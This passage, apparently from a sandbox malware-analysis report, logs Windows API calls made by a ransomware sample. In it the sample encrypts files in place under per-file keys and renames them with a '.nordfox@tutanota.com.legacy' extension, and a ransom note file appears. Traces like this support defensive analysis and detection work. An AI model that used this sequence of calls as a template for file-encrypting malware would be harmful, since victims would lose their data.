hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0141.529] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0141.529] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js", dwFileAttributes=0x80) returned 1 [0141.529] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x614068 [0141.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0141.530] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x614068 | out: hHeap=0x520000) returned 1 [0141.530] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0141.530] GetFileSizeEx (in: hFile=0x7a4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1283526) returned 1 [0141.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1395c6) returned 0x3121020 [0141.533] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1395c6) returned 0x3269020 [0141.535] ReadFile (in: hFile=0x7a4, lpBuffer=0x3121020, nNumberOfBytesToRead=0x1395c6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3121020*, lpNumberOfBytesRead=0x2e1f9bc*=0x1395c6, lpOverlapped=0x0) returned 1 [0141.678] SetFilePointer (in: hFile=0x7a4, lDistanceToMove=-1283526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.678] WriteFile (in: hFile=0x7a4, lpBuffer=0x3269020*, nNumberOfBytesToWrite=0x1395c6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3269020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1395c6, lpOverlapped=0x0) returned 1 [0141.705] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3121020 | out: hHeap=0x520000) returned 1 [0141.710] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3269020 | out: hHeap=0x520000) returned 1 [0141.770] SetFilePointer (in: hFile=0x7a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1395c6 [0141.770] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.770] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.770] WriteFile (in: hFile=0x7a4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.770] WriteFile (in: hFile=0x7a4, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.771] CloseHandle (hObject=0x7a4) returned 1 [0141.771] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0141.771] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0141.771] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.774] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0141.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11c) returned 0x563358 [0141.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e92e0 | out: hHeap=0x520000) returned 1 [0141.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60aa88 [0141.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567418 | out: hHeap=0x520000) returned 1 [0141.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563e28 | out: hHeap=0x520000) returned 1 [0141.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0141.775] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe118fc50, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c458 [0141.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0141.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0141.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0141.775] GetLastError () returned 0x0 [0141.776] SetLastError (dwErrCode=0x0) [0141.776] GetLastError () returned 0x0 [0141.776] SetLastError (dwErrCode=0x0) [0141.776] GetLastError () returned 0x0 [0141.776] SetLastError (dwErrCode=0x0) [0141.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0141.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d4a8 [0141.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0141.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101d0 [0141.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c518 [0141.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c518 | out: hHeap=0x520000) returned 1 [0141.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20138 [0141.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20138 | out: hHeap=0x520000) returned 1 [0141.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101d0 | out: hHeap=0x520000) returned 1 [0141.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0141.776] FindNextFileW (in: hFindFile=0x60c458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe118fc50, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0141.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0141.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0141.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0141.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0141.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0141.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0141.777] GetLastError () returned 0x0 [0141.777] SetLastError (dwErrCode=0x0) [0141.777] GetLastError () returned 0x0 [0141.777] SetLastError (dwErrCode=0x0) [0141.777] GetLastError () returned 0x0 [0141.777] SetLastError (dwErrCode=0x0) [0141.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0141.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0141.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0141.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0141.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c818 [0141.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c818 | out: hHeap=0x520000) returned 1 [0141.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20168 [0141.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20168 | out: hHeap=0x520000) returned 1 [0141.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0141.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0141.777] FindNextFileW (in: hFindFile=0x60c458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0141.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0141.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0141.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0141.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0141.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0141.778] GetLastError () returned 0x0 [0141.778] SetLastError (dwErrCode=0x0) [0141.778] GetLastError () returned 0x0 [0141.778] SetLastError (dwErrCode=0x0) [0141.778] GetLastError () returned 0x0 [0141.778] SetLastError (dwErrCode=0x0) [0141.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101f8 [0141.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101f8 | out: hHeap=0x520000) returned 1 [0141.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a7a0 [0141.778] FindNextFileW (in: hFindFile=0x60c458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe11699d1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe11699d1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe118fc50, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0141.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0141.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0141.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0141.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0141.778] GetLastError () returned 0x0 [0141.778] SetLastError (dwErrCode=0x0) [0141.778] GetLastError () returned 0x0 [0141.778] SetLastError (dwErrCode=0x0) [0141.778] GetLastError () returned 0x0 [0141.778] SetLastError (dwErrCode=0x0) [0141.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610338 [0141.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610338 | out: hHeap=0x520000) returned 1 [0141.779] FindNextFileW (in: hFindFile=0x60c458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0141.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0141.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0141.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0141.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0141.779] GetLastError () returned 0x0 [0141.779] SetLastError (dwErrCode=0x0) [0141.779] GetLastError () returned 0x0 [0141.779] SetLastError (dwErrCode=0x0) [0141.779] GetLastError () returned 0x0 [0141.779] SetLastError (dwErrCode=0x0) [0141.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0141.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0141.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0141.779] FindNextFileW (in: hFindFile=0x60c458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0141.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570858 [0141.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0141.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0141.779] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0141.780] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0141.780] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", dwFileAttributes=0x80) returned 1 [0141.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0141.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x5646a8 [0141.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0141.781] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0141.781] GetFileSizeEx (in: hFile=0x7a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=143360) returned 1 [0141.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23000) returned 0x2f40858 [0141.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23000) returned 0x2e81f40 [0141.782] ReadFile (in: hFile=0x7a8, lpBuffer=0x2f40858, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesRead=0x2e1f9bc*=0x23000, lpOverlapped=0x0) returned 1 [0141.812] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=-143360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.812] WriteFile (in: hFile=0x7a8, lpBuffer=0x2e81f40*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e81f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x23000, lpOverlapped=0x0) returned 1 [0141.812] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40858 | out: hHeap=0x520000) returned 1 [0141.812] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e81f40 | out: hHeap=0x520000) returned 1 [0141.816] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x23000 [0141.816] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.816] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.817] WriteFile (in: hFile=0x7a8, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.817] WriteFile (in: hFile=0x7a8, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.817] CloseHandle (hObject=0x7a8) returned 1 [0141.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0141.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0141.818] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.820] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0141.820] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570858 | out: hHeap=0x520000) returned 1 [0141.820] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0141.820] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a5b0 [0141.820] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0141.820] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0141.820] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0141.820] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0141.820] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", dwFileAttributes=0x80) returned 1 [0141.821] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x609c00 [0141.821] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x563720 [0141.821] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609c00 | out: hHeap=0x520000) returned 1 [0141.821] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0141.821] GetFileSizeEx (in: hFile=0x7a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=997054) returned 1 [0141.821] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf36be) returned 0x6f9020 [0141.824] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf36be) returned 0x3127020 [0141.827] ReadFile (in: hFile=0x7a8, lpBuffer=0x6f9020, nNumberOfBytesToRead=0xf36be, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f9020*, lpNumberOfBytesRead=0x2e1f9bc*=0xf36be, lpOverlapped=0x0) returned 1 [0141.901] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=-997054, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.901] WriteFile (in: hFile=0x7a8, lpBuffer=0x3127020*, nNumberOfBytesToWrite=0xf36be, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3127020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf36be, lpOverlapped=0x0) returned 1 [0141.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6f9020 | out: hHeap=0x520000) returned 1 [0141.907] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3127020 | out: hHeap=0x520000) returned 1 [0141.911] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf36be [0141.911] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.911] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.911] WriteFile (in: hFile=0x7a8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.912] WriteFile (in: hFile=0x7a8, 